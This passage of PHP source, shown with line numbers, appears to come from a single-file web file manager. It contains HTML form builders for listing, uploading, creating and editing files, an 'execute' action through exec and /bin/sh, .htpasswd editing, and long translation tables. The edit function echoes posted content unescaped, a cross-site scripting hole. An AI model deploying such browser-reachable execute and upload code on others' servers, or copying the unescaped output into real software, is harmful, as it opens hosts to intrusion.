1238 if (!$win && function_exists('exec') && $file['is_file'] && $file['is_executable'] && file_exists('/bin/sh')) {
1239 $actions[] = 'execute';
1240 }
1241
1242 if (sizeof($actions) > 0) {
1243
1244 echo ' <select class="small" name="action' . $i . '" size="1">
1245 <option value="">' . str_repeat(' ', 30) . '</option>
1246';
1247
1248 foreach ($actions as $action) {
1249 echo "\t\t<option value=\"$action\">" . word($action) . "</option>\n";
1250 }
1251
1252 echo ' </select>
1253 <input class="small" type="submit" name="submit' . $i . '" value=" > " onfocus="activate(\'other\')" />
1254';
1255
1256 }
1257
1258 echo ' </td>
1259</tr>
1260';
1261
1262 }
1263
1264 echo '<tr class="listing_footer">
1265 <td style="text-align: right; vertical-align: top"><img src="' . $self . '?image=arrow" alt=">" /></td>
1266 <td colspan="' . ($cols - 1) . '">
1267 <input type="hidden" name="num" value="' . sizeof($list) . '" />
1268 <input type="hidden" name="focus" value="" />
1269 <input type="hidden" name="olddir" value="' . html($directory) . '" />
1270';
1271
1272 $actions = array();
1273 if (@is_writable(dirname($file['path']))) {
1274 $actions[] = 'delete';
1275 $actions[] = 'move';
1276 }
1277 $actions[] = 'copy';
1278
1279 echo ' <select class="small" name="action_all" size="1">
1280 <option value="">' . str_repeat(' ', 30) . '</option>
1281';
1282
1283 foreach ($actions as $action) {
1284 echo "\t\t<option value=\"$action\">" . word($action) . "</option>\n";
1285 }
1286
1287 echo ' </select>
1288 <input class="small" type="submit" name="submit_all" value=" > " onfocus="activate(\'other\')" />
1289 </td>
1290</tr>
1291';
1292
1293}
1294
1295function column_title ($column, $sort, $reverse) {
1296 global $self, $directory;
1297
1298 $d = 'dir=' . urlencode($directory) . '&';
1299
1300 if ($sort == $column) {
1301 if (!$reverse) {
1302 $r = '&reverse=true';
1303 $arr = ' ∧';
1304 } else {
1305 $arr = ' ∨';
1306 }
1307 } else {
1308 $r = '';
1309 }
1310 echo "\t<th class=\"$column\"><a href=\"$self?{$d}sort=$column$r\">" . word($column) . "</a>$arr</th>\n";
1311
1312}
1313
1314function directory_choice () {
1315 global $directory, $homedir, $cols, $self;
1316
1317 echo '<tr>
1318 <td colspan="' . $cols . '" id="directory">
1319 <a href="' . $self . '?dir=' . urlencode($homedir) . '">' . word('directory') . '</a>:
1320 <input type="text" name="dir" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" onfocus="activate(\'directory\')" />
1321 <input type="submit" name="changedir" value="' . word('change') . '" onfocus="activate(\'directory\')" />
1322 </td>
1323</tr>
1324';
1325
1326}
1327
1328function upload_box () {
1329 global $cols;
1330
1331 echo '<tr>
1332 <td colspan="' . $cols . '" id="upload">
1333 ' . word('file') . ':
1334 <input type="file" name="upload" onfocus="activate(\'other\')" />
1335 <input type="submit" name="submit_upload" value="' . word('upload') . '" onfocus="activate(\'other\')" />
1336 </td>
1337</tr>
1338';
1339
1340}
1341
1342function create_box () {
1343 global $cols;
1344
1345 echo '<tr>
1346 <td colspan="' . $cols . '" id="create">
1347 <select name="create_type" size="1" onfocus="activate(\'create\')">
1348 <option value="file">' . word('file') . '</option>
1349 <option value="directory">' . word('directory') . '</option>
1350 </select>
1351 <input type="text" name="create_name" onfocus="activate(\'create\')" />
1352 <input type="submit" name="submit_create" value="' . word('create') . '" onfocus="activate(\'create\')" />
1353 </td>
1354</tr>
1355';
1356
1357}
1358
1359function edit ($file) {
1360 global $self, $directory, $editcols, $editrows, $apache, $htpasswd, $htaccess;
1361
1362 html_header();
1363
1364 echo '<h2 style="margin-bottom: 3pt">' . html($file) . '</h2>
1365
1366<form action="' . $self . '" method="post">
1367
1368<table class="dialog">
1369<tr>
1370<td class="dialog">
1371
1372 <textarea name="content" cols="' . $editcols . '" rows="' . $editrows . '" WRAP="off">';
1373
1374 if (array_key_exists('content', $_POST)) {
1375 echo $_POST['content'];
1376 } else {
1377 $f = fopen($file, 'r');
1378 while (!feof($f)) {
1379 echo html(fread($f, 8192));
1380 }
1381 fclose($f);
1382 }
1383
1384 if (!empty($_POST['user'])) {
1385 echo "\n" . $_POST['user'] . ':' . crypt($_POST['password']);
1386 }
1387 if (!empty($_POST['basic_auth'])) {
1388 if ($win) {
1389 $authfile = str_replace('\\', '/', $directory) . $htpasswd;
1390 } else {
1391 $authfile = $directory . $htpasswd;
1392 }
1393 echo "\nAuthType Basic\nAuthName "Restricted Directory"\n";
1394 echo 'AuthUserFile "' . html($authfile) . ""\n";
1395 echo 'Require valid-user';
1396 }
1397
1398 echo '</textarea>
1399
1400 <hr />
1401';
1402
1403 if ($apache && basename($file) == $htpasswd) {
1404 echo '
1405 ' . word('user') . ': <input type="text" name="user" />
1406 ' . word('password') . ': <input type="password" name="password" />
1407 <input type="submit" value="' . word('add') . '" />
1408
1409 <hr />
1410';
1411
1412 }
1413
1414 if ($apache && basename($file) == $htaccess) {
1415 echo '
1416 <input type="submit" name="basic_auth" value="' . word('add_basic_auth') . '" />
1417
1418 <hr />
1419';
1420
1421 }
1422
1423 echo '
1424 <input type="hidden" name="action" value="edit" />
1425 <input type="hidden" name="file" value="' . html($file) . '" />
1426 <input type="hidden" name="dir" value="' . html($directory) . '" />
1427 <input type="reset" value="' . word('reset') . '" id="red_button" />
1428 <input type="submit" name="save" value="' . word('save') . '" id="green_button" style="margin-left: 50px" />
1429
1430</td>
1431</tr>
1432</table>
1433
1434<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
1435
1436</form>
1437
1438';
1439
1440 html_footer();
1441
1442}
1443
1444function spacer () {
1445 global $cols;
1446
1447 echo '<tr>
1448 <td colspan="' . $cols . '" style="height: 1em"></td>
1449</tr>
1450';
1451
1452}
1453
1454function textfieldsize ($content) {
1455
1456 $size = strlen($content) + 5;
1457 if ($size < 30) $size = 30;
1458
1459 return $size;
1460
1461}
1462
1463function request_dump () {
1464
1465 foreach ($_REQUEST as $key => $value) {
1466 echo "\t<input type=\"hidden\" name=\"" . html($key) . '" value="' . html($value) . "\" />\n";
1467 }
1468
1469}
1470
1471/* ------------------------------------------------------------------------- */
1472
1473function html ($string) {
1474 global $site_charset;
1475 return htmlentities($string, ENT_COMPAT, $site_charset);
1476}
1477
1478function word ($word) {
1479 global $words, $word_charset;
1480 return htmlentities($words[$word], ENT_COMPAT, $word_charset);
1481}
1482
1483function phrase ($phrase, $arguments) {
1484 global $words;
1485 static $search;
1486
1487 if (!is_array($search)) for ($i = 1; $i <= 8; $i++) $search[] = "%$i";
1488
1489 for ($i = 0; $i < sizeof($arguments); $i++) {
1490 $arguments[$i] = nl2br(html($arguments[$i]));
1491 }
1492
1493 $replace = array('{' => '<pre>', '}' =>'</pre>', '[' => '<b>', ']' => '</b>');
1494
1495 return str_replace($search, $arguments, str_replace(array_keys($replace), $replace, nl2br(html($words[$phrase]))));
1496
1497}
1498
1499function getwords ($lang) {
1500 global $word_charset, $date_format;
1501
1502 switch ($lang) {
1503 case 'de':
1504
1505 $date_format = 'd.m.y H:i:s';
1506 $word_charset = 'ISO-8859-1';
1507
1508 return array(
1509'directory' => 'Verzeichnis',
1510'file' => 'Datei',
1511'filename' => 'Dateiname',
1512
1513'size' => 'Größe',
1514'permission' => 'Rechte',
1515'owner' => 'Eigner',
1516'group' => 'Gruppe',
1517'other' => 'Andere',
1518'functions' => 'Funktionen',
1519
1520'read' => 'lesen',
1521'write' => 'schreiben',
1522'execute' => 'ausführen',
1523
1524'create_symlink' => 'Symlink erstellen',
1525'delete' => 'löschen',
1526'rename' => 'umbenennen',
1527'move' => 'verschieben',
1528'copy' => 'kopieren',
1529'edit' => 'editieren',
1530'download' => 'herunterladen',
1531'upload' => 'hochladen',
1532'create' => 'erstellen',
1533'change' => 'wechseln',
1534'save' => 'speichern',
1535'set' => 'setze',
1536'reset' => 'zurücksetzen',
1537'relative' => 'Pfad zum Ziel relativ',
1538
1539'yes' => 'Ja',
1540'no' => 'Nein',
1541'back' => 'zurück',
1542'destination' => 'Ziel',
1543'symlink' => 'Symbolischer Link',
1544'no_output' => 'keine Ausgabe',
1545
1546'user' => 'Benutzername',
1547'password' => 'Kennwort',
1548'add' => 'hinzufügen',
1549'add_basic_auth' => 'HTTP-Basic-Auth hinzufügen',
1550
1551'uploaded' => '"[%1]" wurde hochgeladen.',
1552'not_uploaded' => '"[%1]" konnte nicht hochgeladen werden.',
1553'already_exists' => '"[%1]" existiert bereits.',
1554'created' => '"[%1]" wurde erstellt.',
1555'not_created' => '"[%1]" konnte nicht erstellt werden.',
1556'really_delete' => 'Sollen folgende Dateien wirklich gelöscht werden?',
1557'deleted' => "Folgende Dateien wurden gelöscht:\n[%1]",
1558'not_deleted' => "Folgende Dateien konnten nicht gelöscht werden:\n[%1]",
1559'rename_file' => 'Benenne Datei um:',
1560'renamed' => '"[%1]" wurde in "[%2]" umbenannt.',
1561'not_renamed' => '"[%1] konnte nicht in "[%2]" umbenannt werden.',
1562'move_files' => 'Verschieben folgende Dateien:',
1563'moved' => "Folgende Dateien wurden nach \"[%2]\" verschoben:\n[%1]",
1564'not_moved' => "Folgende Dateien konnten nicht nach \"[%2]\" verschoben werden:\n[%1]",
1565'copy_files' => 'Kopiere folgende Dateien:',
1566'copied' => "Folgende Dateien wurden nach \"[%2]\" kopiert:\n[%1]",
1567'not_copied' => "Folgende Dateien konnten nicht nach \"[%2]\" kopiert werden:\n[%1]",
1568'not_edited' => '"[%1]" kann nicht editiert werden.',
1569'executed' => "\"[%1]\" wurde erfolgreich ausgeführt:\n{%2}",
1570'not_executed' => "\"[%1]\" konnte nicht erfolgreich ausgeführt werden:\n{%2}",
1571'saved' => '"[%1]" wurde gespeichert.',
1572'not_saved' => '"[%1]" konnte nicht gespeichert werden.',
1573'symlinked' => 'Symbolischer Link von "[%2]" nach "[%1]" wurde erstellt.',
1574'not_symlinked' => 'Symbolischer Link von "[%2]" nach "[%1]" konnte nicht erstellt werden.',
1575'permission_for' => 'Rechte für "[%1]":',
1576'permission_set' => 'Die Rechte für "[%1]" wurden auf [%2] gesetzt.',
1577'permission_not_set' => 'Die Rechte für "[%1]" konnten nicht auf [%2] gesetzt werden.',
1578'not_readable' => '"[%1]" kann nicht gelesen werden.'
1579 );
1580
1581 case 'fr':
1582
1583 $date_format = 'd.m.y H:i:s';
1584 $word_charset = 'ISO-8859-1';
1585
1586 return array(
1587'directory' => 'Répertoire',
1588'file' => 'Fichier',
1589'filename' => 'Nom fichier',
1590
1591'size' => 'Taille',
1592'permission' => 'Droits',
1593'owner' => 'Propriétaire',
1594'group' => 'Groupe',
1595'other' => 'Autres',
1596'functions' => 'Fonctions',
1597
1598'read' => 'Lire',
1599'write' => 'Ecrire',
1600'execute' => 'Exécuter',
1601
1602'create_symlink' => 'Créer lien symbolique',
1603'delete' => 'Effacer',
1604'rename' => 'Renommer',
1605'move' => 'Déplacer',
1606'copy' => 'Copier',
1607'edit' => 'Ouvrir',
1608'download' => 'Télécharger sur PC',
1609'upload' => 'Télécharger sur serveur',
1610'create' => 'Créer',
1611'change' => 'Changer',
1612'save' => 'Sauvegarder',
1613'set' => 'Exécuter',
1614'reset' => 'Réinitialiser',
1615'relative' => 'Relatif',
1616
1617'yes' => 'Oui',
1618'no' => 'Non',
1619'back' => 'Retour',
1620'destination' => 'Destination',
1621'symlink' => 'Lien symbollique',
1622'no_output' => 'Pas de sortie',
1623
1624'user' => 'Utilisateur',
1625'password' => 'Mot de passe',
1626'add' => 'Ajouter',
1627'add_basic_auth' => 'add basic-authentification',
1628
1629'uploaded' => '"[%1]" a été téléchargé sur le serveur.',
1630'not_uploaded' => '"[%1]" n a pas été téléchargé sur le serveur.',
1631'already_exists' => '"[%1]" existe déjà .',
1632'created' => '"[%1]" a été créé.',
1633'not_created' => '"[%1]" n a pas pu être créé.',
1634'really_delete' => 'Effacer le fichier?',
1635'deleted' => "Ces fichiers ont été détuits:\n[%1]",
1636'not_deleted' => "Ces fichiers n ont pu être détruits:\n[%1]",
1637'rename_file' => 'Renomme fichier:',
1638'renamed' => '"[%1]" a été renommé en "[%2]".',
1639'not_renamed' => '"[%1] n a pas pu être renommé en "[%2]".',
1640'move_files' => 'Déplacer ces fichiers:',
1641'moved' => "Ces fichiers ont été déplacés en \"[%2]\":\n[%1]",
1642'not_moved' => "Ces fichiers n ont pas pu être déplacés en \"[%2]\":\n[%1]",
1643'copy_files' => 'Copier ces fichiers:',
1644'copied' => "Ces fichiers ont été copiés en \"[%2]\":\n[%1]",
1645'not_copied' => "Ces fichiers n ont pas pu être copiés en \"[%2]\":\n[%1]",
1646'not_edited' => '"[%1]" ne peut être ouvert.',
1647'executed' => "\"[%1]\" a été brillamment exécuté :\n{%2}",
1648'not_executed' => "\"[%1]\" n a pas pu être exécuté:\n{%2}",
1649'saved' => '"[%1]" a été sauvegardé.',
1650'not_saved' => '"[%1]" n a pas pu être sauvegardé.',
1651'symlinked' => 'Un lien symbolique depuis "[%2]" vers "[%1]" a été crée.',
1652'not_symlinked' => 'Un lien symbolique depuis "[%2]" vers "[%1]" n a pas pu être créé.',
1653'permission_for' => 'Droits de "[%1]":',
1654'permission_set' => 'Droits de "[%1]" ont été changés en [%2].',
1655'permission_not_set' => 'Droits de "[%1]" n ont pas pu être changés en[%2].',
1656'not_readable' => '"[%1]" ne peut pas être ouvert.'
1657 );
1658
1659 case 'it':
1660
1661 $date_format = 'd-m-Y H:i:s';
1662 $word_charset = 'ISO-8859-1';
1663
1664 return array(
1665'directory' => 'Directory',
1666'file' => 'File',
1667'filename' => 'Nome File',
1668
1669'size' => 'Dimensioni',
1670'permission' => 'Permessi',
1671'owner' => 'Proprietario',
1672'group' => 'Gruppo',
1673'other' => 'Altro',
1674'functions' => 'Funzioni',
1675
1676'read' => 'leggi',
1677'write' => 'scrivi',
1678'execute' => 'esegui',
1679
1680'create_symlink' => 'crea link simbolico',
1681'delete' => 'cancella',
1682'rename' => 'rinomina',
1683'move' => 'sposta',
1684'copy' => 'copia',
1685'edit' => 'modifica',
1686'download' => 'download',
1687'upload' => 'upload',
1688'create' => 'crea',
1689'change' => 'cambia',
1690'save' => 'salva',
1691'set' => 'imposta',
1692'reset' => 'reimposta',
1693'relative' => 'Percorso relativo per la destinazione',
1694
1695'yes' => 'Si',
1696'no' => 'No',
1697'back' => 'indietro',
1698'destination' => 'Destinazione',
1699'symlink' => 'Link simbolico',
1700'no_output' => 'no output',
1701
1702'user' => 'User',
1703'password' => 'Password',
1704'add' => 'aggiungi',
1705'add_basic_auth' => 'aggiungi autenticazione base',
1706
1707'uploaded' => '"[%1]" è stato caricato.',
1708'not_uploaded' => '"[%1]" non è stato caricato.',
1709'already_exists' => '"[%1]" esiste già .',
1710'created' => '"[%1]" è stato creato.',
1711'not_created' => '"[%1]" non è stato creato.',
1712'really_delete' => 'Cancello questi file ?',
1713'deleted' => "Questi file sono stati cancellati:\n[%1]",
1714'not_deleted' => "Questi file non possono essere cancellati:\n[%1]",
1715'rename_file' => 'File rinominato:',
1716'renamed' => '"[%1]" è stato rinominato in "[%2]".',
1717'not_renamed' => '"[%1] non è stato rinominato in "[%2]".',
1718'move_files' => 'Sposto questi file:',
1719'moved' => "Questi file sono stati spostati in \"[%2]\":\n[%1]",
1720'not_moved' => "Questi file non possono essere spostati in \"[%2]\":\n[%1]",
1721'copy_files' => 'Copio questi file',
1722'copied' => "Questi file sono stati copiati in \"[%2]\":\n[%1]",
1723'not_copied' => "Questi file non possono essere copiati in \"[%2]\":\n[%1]",
1724'not_edited' => '"[%1]" non può essere modificato.',
1725'executed' => "\"[%1]\" è stato eseguito con successo:\n{%2}",
1726'not_executed' => "\"[%1]\" non è stato eseguito con successo\n{%2}",
1727'saved' => '"[%1]" è stato salvato.',
1728'not_saved' => '"[%1]" non è stato salvato.',
1729'symlinked' => 'Il link siambolico da "[%2]" a "[%1]" è stato creato.',
1730'not_symlinked' => 'Il link siambolico da "[%2]" a "[%1]" non è stato creato.',
1731'permission_for' => 'Permessi di "[%1]":',
1732'permission_set' => 'I permessi di "[%1]" sono stati impostati [%2].',
1733'permission_not_set' => 'I permessi di "[%1]" non sono stati impostati [%2].',
1734'not_readable' => '"[%1]" non può essere letto.'
1735 );
1736
1737 case 'nl':
1738
1739 $date_format = 'n/j/y H:i:s';
1740 $word_charset = 'ISO-8859-1';
1741
1742 return array(
1743'directory' => 'Directory',
1744'file' => 'Bestand',
1745'filename' => 'Bestandsnaam',
1746
1747'size' => 'Grootte',
1748'permission' => 'Bevoegdheid',
1749'owner' => 'Eigenaar',
1750'group' => 'Groep',
1751'other' => 'Anderen',
1752'functions' => 'Functies',
1753
1754'read' => 'lezen',
1755'write' => 'schrijven',
1756'execute' => 'uitvoeren',
1757
1758'create_symlink' => 'maak symlink',
1759'delete' => 'verwijderen',
1760'rename' => 'hernoemen',
1761'move' => 'verplaatsen',
1762'copy' => 'kopieren',
1763'edit' => 'bewerken',
1764'download' => 'downloaden',
1765'upload' => 'uploaden',
1766'create' => 'aanmaken',
1767'change' => 'veranderen',
1768'save' => 'opslaan',
1769'set' => 'instellen',
1770'reset' => 'resetten',
1771'relative' => 'Relatief pat naar doel',
1772
1773'yes' => 'Ja',
1774'no' => 'Nee',
1775'back' => 'terug',
1776'destination' => 'Bestemming',
1777'symlink' => 'Symlink',
1778'no_output' => 'geen output',
1779
1780'user' => 'Gebruiker',
1781'password' => 'Wachtwoord',
1782'add' => 'toevoegen',
1783'add_basic_auth' => 'add basic-authentification',
1784
1785'uploaded' => '"[%1]" is verstuurd.',
1786'not_uploaded' => '"[%1]" kan niet worden verstuurd.',
1787'already_exists' => '"[%1]" bestaat al.',
1788'created' => '"[%1]" is aangemaakt.',
1789'not_created' => '"[%1]" kan niet worden aangemaakt.',
1790'really_delete' => 'Deze bestanden verwijderen?',
1791'deleted' => "Deze bestanden zijn verwijderd:\n[%1]",
1792'not_deleted' => "Deze bestanden konden niet worden verwijderd:\n[%1]",
1793'rename_file' => 'Bestandsnaam veranderen:',
1794'renamed' => '"[%1]" heet nu "[%2]".',
1795'not_renamed' => '"[%1] kon niet worden veranderd in "[%2]".',
1796'move_files' => 'Verplaats deze bestanden:',
1797'moved' => "Deze bestanden zijn verplaatst naar \"[%2]\":\n[%1]",
1798'not_moved' => "Kan deze bestanden niet verplaatsen naar \"[%2]\":\n[%1]",
1799'copy_files' => 'Kopieer deze bestanden:',
1800'copied' => "Deze bestanden zijn gekopieerd naar \"[%2]\":\n[%1]",
1801'not_copied' => "Deze bestanden kunnen niet worden gekopieerd naar \"[%2]\":\n[%1]",
1802'not_edited' => '"[%1]" kan niet worden bewerkt.',
1803'executed' => "\"[%1]\" is met succes uitgevoerd:\n{%2}",
1804'not_executed' => "\"[%1]\" is niet goed uitgevoerd:\n{%2}",
1805'saved' => '"[%1]" is opgeslagen.',
1806'not_saved' => '"[%1]" is niet opgeslagen.',
1807'symlinked' => 'Symlink van "[%2]" naar "[%1]" is aangemaakt.',
1808'not_symlinked' => 'Symlink van "[%2]" naar "[%1]" is niet aangemaakt.',
1809'permission_for' => 'Bevoegdheid voor "[%1]":',
1810'permission_set' => 'Bevoegdheid van "[%1]" is ingesteld op [%2].',
1811'permission_not_set' => 'Bevoegdheid van "[%1]" is niet ingesteld op [%2].',
1812'not_readable' => '"[%1]" kan niet worden gelezen.'
1813 );
1814
1815 case 'se':
1816
1817 $date_format = 'n/j/y H:i:s';
1818 $word_charset = 'ISO-8859-1';
1819
1820 return array(
1821'directory' => 'Mapp',
1822'file' => 'Fil',
1823'filename' => 'Filnamn',
1824
1825'size' => 'Storlek',
1826'permission' => 'Säkerhetsnivå',
1827'owner' => 'Ägare',
1828'group' => 'Grupp',
1829'other' => 'Andra',
1830'functions' => 'Funktioner',
1831
1832'read' => 'Läs',
1833'write' => 'Skriv',
1834'execute' => 'Utför',
1835
1836'create_symlink' => 'Skapa symlink',
1837'delete' => 'Radera',
1838'rename' => 'Byt namn',
1839'move' => 'Flytta',
1840'copy' => 'Kopiera',
1841'edit' => 'Ändra',
1842'download' => 'Ladda ner',
1843'upload' => 'Ladda upp',
1844'create' => 'Skapa',
1845'change' => 'Ändra',
1846'save' => 'Spara',
1847'set' => 'Markera',
1848'reset' => 'Töm',
1849'relative' => 'Relative path to target',
1850
1851'yes' => 'Ja',
1852'no' => 'Nej',
1853'back' => 'Tillbaks',
1854'destination' => 'Destination',
1855'symlink' => 'Symlink',
1856'no_output' => 'no output',
1857
1858'user' => 'Användare',
1859'password' => 'Lösenord',
1860'add' => 'Lägg till',
1861'add_basic_auth' => 'add basic-authentification',
1862
1863'uploaded' => '"[%1]" har laddats upp.',
1864'not_uploaded' => '"[%1]" kunde inte laddas upp.',
1865'already_exists' => '"[%1]" finns redan.',
1866'created' => '"[%1]" har skapats.',
1867'not_created' => '"[%1]" kunde inte skapas.',
1868'really_delete' => 'Radera dessa filer?',
1869'deleted' => "De här filerna har raderats:\n[%1]",
1870'not_deleted' => "Dessa filer kunde inte raderas:\n[%1]",
1871'rename_file' => 'Byt namn på fil:',
1872'renamed' => '"[%1]" har bytt namn till "[%2]".',
1873'not_renamed' => '"[%1] kunde inte döpas om till "[%2]".',
1874'move_files' => 'Flytta dessa filer:',
1875'moved' => "Dessa filer har flyttats till \"[%2]\":\n[%1]",
1876'not_moved' => "Dessa filer kunde inte flyttas till \"[%2]\":\n[%1]",
1877'copy_files' => 'Kopiera dessa filer:',
1878'copied' => "Dessa filer har kopierats till \"[%2]\":\n[%1]",
1879'not_copied' => "Dessa filer kunde inte kopieras till \"[%2]\":\n[%1]",
1880'not_edited' => '"[%1]" kan inte ändras.',
1881'executed' => "\"[%1]\" har utförts:\n{%2}",
1882'not_executed' => "\"[%1]\" kunde inte utföras:\n{%2}",
1883'saved' => '"[%1]" har sparats.',
1884'not_saved' => '"[%1]" kunde inte sparas.',
1885'symlinked' => 'Symlink från "[%2]" till "[%1]" har skapats.',
1886'not_symlinked' => 'Symlink från "[%2]" till "[%1]" kunde inte skapas.',
1887'permission_for' => 'Rättigheter för "[%1]":',
1888'permission_set' => 'Rättigheter för "[%1]" ändrades till [%2].',
1889'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].',
1890'not_readable' => '"[%1]" kan inte läsas.'
1891 );
1892
1893 case 'sp':
1894
1895 $date_format = 'j/n/y H:i:s';
1896 $word_charset = 'ISO-8859-1';
1897
1898 return array(
1899'directory' => 'Directorio',
1900'file' => 'Archivo',
1901'filename' => 'Nombre Archivo',
1902
1903'size' => 'Tamaño',
1904'permission' => 'Permisos',
1905'owner' => 'Propietario',
1906'group' => 'Grupo',
1907'other' => 'Otros',
1908'functions' => 'Funciones',
1909
1910'read' => 'lectura',
1911'write' => 'escritura',
1912'execute' => 'ejecución',
1913
1914'create_symlink' => 'crear enlace',
1915'delete' => 'borrar',
1916'rename' => 'renombrar',
1917'move' => 'mover',
1918'copy' => 'copiar',
1919'edit' => 'editar',
1920'download' => 'bajar',
1921'upload' => 'subir',
1922'create' => 'crear',
1923'change' => 'cambiar',
1924'save' => 'salvar',
1925'set' => 'setear',
1926'reset' => 'resetear',
1927'relative' => 'Path relativo',
1928
1929'yes' => 'Si',
1930'no' => 'No',
1931'back' => 'atrás',
1932'destination' => 'Destino',
1933'symlink' => 'Enlace',
1934'no_output' => 'sin salida',
1935
1936'user' => 'Usuario',
1937'password' => 'Clave',
1938'add' => 'agregar',
1939'add_basic_auth' => 'agregar autentificación básica',
1940
1941'uploaded' => '"[%1]" ha sido subido.',
1942'not_uploaded' => '"[%1]" no pudo ser subido.',
1943'already_exists' => '"[%1]" ya existe.',
1944'created' => '"[%1]" ha sido creado.',
1945'not_created' => '"[%1]" no pudo ser creado.',
1946'really_delete' => '¿Borra estos archivos?',
1947'deleted' => "Estos archivos han sido borrados:\n[%1]",
1948'not_deleted' => "Estos archivos no pudieron ser borrados:\n[%1]",
1949'rename_file' => 'Renombra archivo:',
1950'renamed' => '"[%1]" ha sido renombrado a "[%2]".',
1951'not_renamed' => '"[%1] no pudo ser renombrado a "[%2]".',
1952'move_files' => 'Mover estos archivos:',
1953'moved' => "Estos archivos han sido movidos a \"[%2]\":\n[%1]",
1954'not_moved' => "Estos archivos no pudieron ser movidos a \"[%2]\":\n[%1]",
1955'copy_files' => 'Copiar estos archivos:',
1956'copied' => "Estos archivos han sido copiados a \"[%2]\":\n[%1]",
1957'not_copied' => "Estos archivos no pudieron ser copiados \"[%2]\":\n[%1]",
1958'not_edited' => '"[%1]" no pudo ser editado.',
1959'executed' => "\"[%1]\" ha sido ejecutado correctamente:\n{%2}",
1960'not_executed' => "\"[%1]\" no pudo ser ejecutado correctamente:\n{%2}",
1961'saved' => '"[%1]" ha sido salvado.',
1962'not_saved' => '"[%1]" no pudo ser salvado.',
1963'symlinked' => 'Enlace desde "[%2]" a "[%1]" ha sido creado.',
1964'not_symlinked' => 'Enlace desde "[%2]" a "[%1]" no pudo ser creado.',
1965'permission_for' => 'Permisos de "[%1]":',
1966'permission_set' => 'Permisos de "[%1]" fueron seteados a [%2].',
1967'permission_not_set' => 'Permisos de "[%1]" no pudo ser seteado a [%2].',
1968'not_readable' => '"[%1]" no pudo ser leÃdo.'
1969 );
1970
1971 case 'dk':
1972
1973 $date_format = 'n/j/y H:i:s';
1974 $word_charset = 'ISO-8859-1';
1975
1976 return array(
1977'directory' => 'Mappe',
1978'file' => 'Fil',
1979'filename' => 'Filnavn',
1980
1981'size' => 'Størrelse',
1982'permission' => 'Rettighed',
1983'owner' => 'Ejer',
1984'group' => 'Gruppe',
1985'other' => 'Andre',
1986'functions' => 'Funktioner',
1987
1988'read' => 'læs',
1989'write' => 'skriv',
1990'execute' => 'kør',
1991
1992'create_symlink' => 'opret symbolsk link',
1993'delete' => 'slet',
1994'rename' => 'omdøb',
1995'move' => 'flyt',
1996'copy' => 'kopier',
1997'edit' => 'rediger',
1998'download' => 'download',
1999'upload' => 'upload',
2000'create' => 'opret',
2001'change' => 'skift',
2002'save' => 'gem',
2003'set' => 'sæt',
2004'reset' => 'nulstil',
2005'relative' => 'Relativ sti til valg',
2006
2007'yes' => 'Ja',
2008'no' => 'Nej',
2009'back' => 'tilbage',
2010'destination' => 'Distination',
2011'symlink' => 'Symbolsk link',
2012'no_output' => 'ingen resultat',
2013
2014'user' => 'Bruger',
2015'password' => 'Kodeord',
2016'add' => 'tilføj',
2017'add_basic_auth' => 'tilføj grundliggende rettigheder',
2018
2019'uploaded' => '"[%1]" er blevet uploaded.',
2020'not_uploaded' => '"[%1]" kunnu ikke uploades.',
2021'already_exists' => '"[%1]" findes allerede.',
2022'created' => '"[%1]" er blevet oprettet.',
2023'not_created' => '"[%1]" kunne ikke oprettes.',
2024'really_delete' => 'Slet disse filer?',
2025'deleted' => "Disse filer er blevet slettet:\n[%1]",
2026'not_deleted' => "Disse filer kunne ikke slettes:\n[%1]",
2027'rename_file' => 'Omdød fil:',
2028'renamed' => '"[%1]" er blevet omdøbt til "[%2]".',
2029'not_renamed' => '"[%1] kunne ikke omdøbes til "[%2]".',
2030'move_files' => 'Flyt disse filer:',
2031'moved' => "Disse filer er blevet flyttet til \"[%2]\":\n[%1]",
2032'not_moved' => "Disse filer kunne ikke flyttes til \"[%2]\":\n[%1]",
2033'copy_files' => 'Kopier disse filer:',
2034'copied' => "Disse filer er kopieret til \"[%2]\":\n[%1]",
2035'not_copied' => "Disse filer kunne ikke kopieres til \"[%2]\":\n[%1]",
2036'not_edited' => '"[%1]" kan ikke redigeres.',
2037'executed' => "\"[%1]\" er blevet kørt korrekt:\n{%2}",
2038'not_executed' => "\"[%1]\" kan ikke køres korrekt:\n{%2}",
2039'saved' => '"[%1]" er blevet gemt.',
2040'not_saved' => '"[%1]" kunne ikke gemmes.',
2041'symlinked' => 'Symbolsk link fra "[%2]" til "[%1]" er blevet oprettet.',
2042'not_symlinked' => 'Symbolsk link fra "[%2]" til "[%1]" kunne ikke oprettes.',
2043'permission_for' => 'Rettigheder for "[%1]":',
2044'permission_set' => 'Rettigheder for "[%1]" blev sat til [%2].',
2045'permission_not_set' => 'Rettigheder for "[%1]" kunne ikke sættes til [%2].',
2046'not_readable' => '"[%1]" Kan ikke læses.'
2047 );
2048
2049 case 'tr':
2050
2051 $date_format = 'n/j/y H:i:s';
2052 $word_charset = 'ISO-8859-1';
2053
2054 return array(
2055'directory' => 'Klasör',
2056'file' => 'Dosya',
2057'filename' => 'dosya adi',
2058
2059'size' => 'boyutu',
2060'permission' => 'Izin',
2061'owner' => 'sahib',
2062'group' => 'Grup',
2063'other' => 'Digerleri',
2064'functions' => 'Fonksiyonlar',
2065
2066'read' => 'oku',
2067'write' => 'yaz',
2068'execute' => 'çalistir',
2069
2070'create_symlink' => 'yarat symlink',
2071'delete' => 'sil',
2072'rename' => 'ad degistir',
2073'move' => 'tasi',
2074'copy' => 'kopyala',
2075'edit' => 'düzenle',
2076'download' => 'indir',
2077'upload' => 'yükle',
2078'create' => 'create',
2079'change' => 'degistir',
2080'save' => 'kaydet',
2081'set' => 'ayar',
2082'reset' => 'sifirla',
2083'relative' => 'Hedef yola göre',
2084
2085'yes' => 'Evet',
2086'no' => 'Hayir',
2087'back' => 'Geri',
2088'destination' => 'Hedef',
2089'symlink' => 'Kysa yol',
2090'no_output' => 'çikti yok',
2091
2092'user' => 'Kullanici',
2093'password' => 'Sifre',
2094'add' => 'ekle',
2095'add_basic_auth' => 'ekle basit-authentification',
2096
2097'uploaded' => '"[%1]" yüklendi.',
2098'not_uploaded' => '"[%1]" yüklenemedi.',
2099'already_exists' => '"[%1]" kullanilmakta.',
2100'created' => '"[%1]" olusturuldu.',
2101'not_created' => '"[%1]" olusturulamadi.',
2102'really_delete' => 'Bu dosyalari silmek istediginizden eminmisiniz?',
2103'deleted' => "Bu dosyalar silindi:\n[%1]",
